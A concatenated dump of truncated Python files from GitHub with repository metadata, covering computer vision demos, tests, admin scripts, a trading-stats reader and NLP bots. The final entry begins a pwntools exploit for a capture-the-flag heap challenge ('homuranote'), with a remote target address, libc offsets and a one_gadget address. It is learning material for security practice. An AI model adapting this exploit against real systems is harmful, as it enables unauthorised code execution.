6006514705
import cv2 import os import time from TutorialMurtaza.Util import BaseFunction import HandTrackingModule as htm ############# wCam, hCam = 640, 480 ############# cap = cv2.VideoCapture(0) cap.set(3, wCam) cap.set(4, hCam) folderPath = BaseFunction.getBaseUrl() + '/TutorialMurtaza/Resources/hand_counting' myList = os...
palindungan/2021_skripsi
OpencvTutorial/TutorialMurtaza/Src/Mediapipe/FingerCountingProject.py
FingerCountingProject.py
py
2,053
python
en
code
0
github-code
1
41433954503
import os import mock import json import pika import Queue import logging import greenlet import unittest import threading from rackattack.tcp import publish from rackattack.tcp import subscribe from rackattack.tests import mock_pika from rackattack.tests import one_threaded_publish handler = logging.StreamHandler() ...
Stratoscale/rackattack-api
py/rackattack/tests/test_publish.py
test_publish.py
py
8,433
python
en
code
0
github-code
1
16877479895
# -*- coding: utf-8 -*- from openerp import models, api class trobz_crm_lead2opportunity_partner(models.TransientModel): _inherit = 'crm.lead2opportunity.partner' @api.model def default_get(self, fields): """ Default get for name, opportunity_ids if there is an exisitng p...
TinPlusIT05/tms
addons/addons-trobz/trobz_crm/wizard/crm_lead_to_opportunity.py
crm_lead_to_opportunity.py
py
2,847
python
en
code
0
github-code
1
8828354298
#!/usr/bin/env python # coding: utf-8 # In[38]: # Importar las librerias import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split import sklearn # In[2]: get_ipython().run_line_magic('cd', "'/home/jovyan/python/dataset'") get_ipython().run_line_m...
afnarqui/python
Testing.py
Testing.py
py
1,221
python
en
code
1
github-code
1
26681362352
import json import plotly import pandas as pd from nltk.stem import WordNetLemmatizer from nltk.tokenize import word_tokenize from textblob import TextBlob import numpy as np from flask import Flask from flask import render_template, request, jsonify from plotly.graph_objs import Bar, Histogram from sklearn.externals ...
qiaochen/TextClsApp
app/run.py
run.py
py
3,895
python
en
code
4
github-code
1
1438555767
#!/usr/bin/env python3 import uuid from typing import List import click import backoff from bravado.exception import HTTPConflict, HTTPError from neptune.new.internal.backends.hosted_neptune_backend import HostedNeptuneBackend from neptune.new.internal.credentials import Credentials class Invitation: def __ini...
neptune-ai/neptune-admin-utils
manage_users.py
manage_users.py
py
2,931
python
en
code
0
github-code
1
32952177369
from lib2to3.pgen2 import token import requests import json #Variáveis iniciais def get_logradouro(): inicio = 1 qtregistros = 99 mais_paginas = True token_entidade = "xxxxxx" conta_registros = 0 lote = 0 #Parametros da requisição url = "https://e-gov.betha.com.br/glb/service-laye...
ermescarletto/bth
get_logradouros.py
get_logradouros.py
py
1,862
python
pt
code
0
github-code
1
35076567124
""" Factory for HID transport connections. Currently supports only Cython/HIDAPI """ import platform from logging import getLogger from ..pyedbglib_errors import PyedbglibNotSupportedError def hid_transport(library="hidapi"): """ Dispatch a transport layer for the OS in question The transport layer is ...
SpenceKonde/megaTinyCore
megaavr/tools/libs/pyedbglib/hidtransport/hidtransportfactory.py
hidtransportfactory.py
py
2,186
python
en
code
471
github-code
1
16173167775
from metods3 import Birds class Duck(Birds): species = "Утка" def __init__(self, name, id, age, fly_speed, fly_height): super().__init__(name, id, age) self.__fly_speed = fly_speed self.__fly_height = fly_height @property def fly_speed(self): return self.__fly_speed ...
paseidon72/Hillel_Andrey
testoviy/metod/metods4.py
metods4.py
py
1,083
python
en
code
0
github-code
1
146002694
import os import sys import argparse from spinalcordtoolbox.utils import Metavar, SmartFormatter, init_sct, extract_fname, printv def get_parser(): # Initialize the parser parser = argparse.ArgumentParser( description='Transpose bvecs file (if necessary) to get nx3 structure.', formatter_clas...
jem0101/BigSwag-SQA2022-AUBURN
TestOrchestrator4ML-main/resources/Data/supervised/GITHUB_REPOS/neuropoly@spinalcordtoolbox/scripts/sct_dmri_transpose_bvecs.py
sct_dmri_transpose_bvecs.py
py
2,558
python
en
code
2
github-code
1
18286950948
#!/usr/bin/python # -*- coding: utf-8 -*- import sqlite3 import random import datetime import os current_file_path = os.path.realpath(__file__) current_directory_path = os.path.dirname(current_file_path) resources_directory_path = os.path.join(current_directory_path, '..', 'resources') db_directory_path = os.path.joi...
PlytonRexus/vigilant-carnival
src/main.py
main.py
py
50,771
python
en
code
0
github-code
1
11595543761
import torch from gtts import gTTS import os import keyboard from tqdm import tqdm import random import speech_recognition as sr def recognize_speech_from_mic(recognizer, microphone): """Transcribe speech from recorded from `microphone`. Returns a dictionary with three keys: "success": a boolean indica...
jahkelr/machine-learning
Unsupervised/ToxBot/src/generator.py
generator.py
py
4,254
python
en
code
0
github-code
1
22380899701
import pytest from dawa import API def test_postnummer_initial(): api = API() postnummer = api.replicate('postnummer') for obj in postnummer: assert len(obj) != 0 break def test_postnummer_changes(): api = API() postnummer = api.replicate('postnummer', txidfra=3432423, txidt...
Fredehagelund92/dawa-sdk
tests/test_postnummer.py
test_postnummer.py
py
403
python
sv
code
1
github-code
1
19358507070
from nis import cat import random import csv import os class JunkFood: def __init__(self, name, price, provider, pronoun, category): self.name = name self.price = price self.inDollars = "${:,.2f}".format(price) self.provider = provider self.pronoun = pronoun sel...
paulgasbarra/fastFoodFaves
junk-food-faves.py
junk-food-faves.py
py
4,219
python
en
code
0
github-code
1
23206544173
import robin_stocks.robinhood as r import json import pandas as pd # Reads data about the previous trades from a JSON file and prints it def read_trade_history(file_name): print("read_trade_history()") with open(file_name) as json_file: data = json.load(json_file) for sell_date, event in data.item...
messi618/TradingAlgorithm
vivekTradingBot/tradingStatistics.py
tradingStatistics.py
py
2,230
python
en
code
0
github-code
1
21898163142
import os import csv from utilities.utilities import * from utilities.katuyou import Katuyou from collections import defaultdict class EmotionClass: def __init__(self, feeling_folder_path, line_file_path): self.feeling_foloder_path = feeling_folder_path self.line_file_path = line_file_path ...
blackpopo/Maya_Bot_v01
EmotionalSummary.py
EmotionalSummary.py
py
5,462
python
en
code
0
github-code
1
34143903860
# coding: utf-8 import recommended_system as rs import math def recall(train, test, W, N): """ P43 :1、召回率 :train、test、N分别是训练集、测试集和推荐列表长度 :描述:一个用户u可能对多个物品有过行为,从而数据集中用户u有多条行为记录,在将数据集进行分组时, 训练集和测试集里都可能存在用户u的多条行为记录。利用训练集训练推荐系统,给出用户u的推荐结果,再和测试集中用户u的行为数据进行对比, 检验算法推荐精度。 """ hit = 0 a...
Jim-uav/RecommendedSystemPractice
evaluation_indicators.py
evaluation_indicators.py
py
2,292
python
en
code
0
github-code
1
2545116778
import os from typing import Dict, List, Optional class CopySpec: """Copy specification of a single file or directory.""" def __init__(self, source_path: str, target_path: Optional[str] = None): self.source_path = source_path self.target_path = target_path def get_target(self) -> str: ...
eclipse-velocitas/devenv-devcontainer-setup
grpc-interface-support/src/util/templates.py
templates.py
py
1,938
python
en
code
1
github-code
1
898543562
from pwn import * #context.log_level="debug" context.arch="amd64" #r=process('./homuranote') r=remote('111.231.88.121',6666) elf=ELF('homuranote') libc=ELF('libc-2.24.so') #libc_syst=libc.symbols['system'] #libc_exit=libc.symbols['exit'] libc_arenaOffset=0x397b00 libc_mallochook=0x397af0 libc_oneGadget1=0x3f306 #rax...
Cossack9989/SEC_LEARNING
PWN/Sundries/NUPT-CGCTF_homuranote/exp.py
exp.py
py
3,240
python
en
code
13
github-code
1